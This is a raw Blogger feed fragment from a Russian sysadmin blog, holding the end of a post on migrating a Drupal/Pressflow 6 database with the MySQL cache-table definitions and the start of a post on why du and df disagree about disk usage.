&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_update`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_update&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_update&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_views`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_views&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_views&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_views_data`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_views_data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_views_data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
На этом эпопея завершена&lt;br /&gt;
Можете&amp;nbsp;прописывать данные новой базы в settings.php&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=8f6b38b0-f55a-44d9-9af0-3a8ee0aaccba&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/3434217188179971086/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/10/drupalpressflow-6.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/3434217188179971086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/3434217188179971086'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/10/drupalpressflow-6.html' title='Переносим базу Drupal/Pressflow 6, без очистки кэша'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-4896339059332085231</id><published>2012-10-08T18:21:00.000+07:00</published><updated>2012-10-08T18:21:27.332+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="File system"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>Что делать если du и df выводят разные данные</title><content type='html'>Случалось ли вам столкнуться с ситуацией когда вы освободили место на диске, удалили жирные логи, а система по прежнему считает, что у вас переполнен диск.&lt;br /&gt;
Если вы столкнулись с подобной ситуацией, то скорее всего удалённые вами файлы до сих пор открыты каким бы то ни было приложением.&lt;br /&gt;
&lt;br /&gt;
Это выглядит примерно следующим образом.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;df -h
&lt;/b&gt; Filesystem            Size  Used Avail Use% Mounted on
 &lt;span style=&quot;color: #40015a;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Device_file&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Device file&quot;&gt;/dev&lt;/a&gt;/sda1&lt;/span&gt;             &lt;span style=&quot;color: #c00000;&quot;&gt;7&lt;/span&gt;,9G  &lt;span style=&quot;color: #c00000;&quot;&gt;7&lt;/span&gt;,6G     &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;100&lt;/span&gt;% /
 &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Tmpfs&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Tmpfs&quot;&gt;tmpfs&lt;/a&gt;                 502M     &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;  502M   &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;% &lt;span style=&quot;color: #40015a;&quot;&gt;/lib/init/rw&lt;/span&gt;
 &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.kernel.org/pub/linux/utils/kernel/hotplug/udev.html&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Udev&quot;&gt;udev&lt;/a&gt;                  497M  100K  497M   &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;% &lt;span style=&quot;color: #40015a;&quot;&gt;/dev&lt;/span&gt;
 tmpfs                 502M     &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;  502M   &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;% &lt;span style=&quot;color: #40015a;&quot;&gt;/dev/shm&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;du -sh /
&lt;/b&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;,2G    /
&lt;/pre&gt;
&lt;/blockquote&gt;
Чтобы получить список процессов которые до сих пор держат удалённые файлы, выполните следующую команду&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;blockquote&gt;
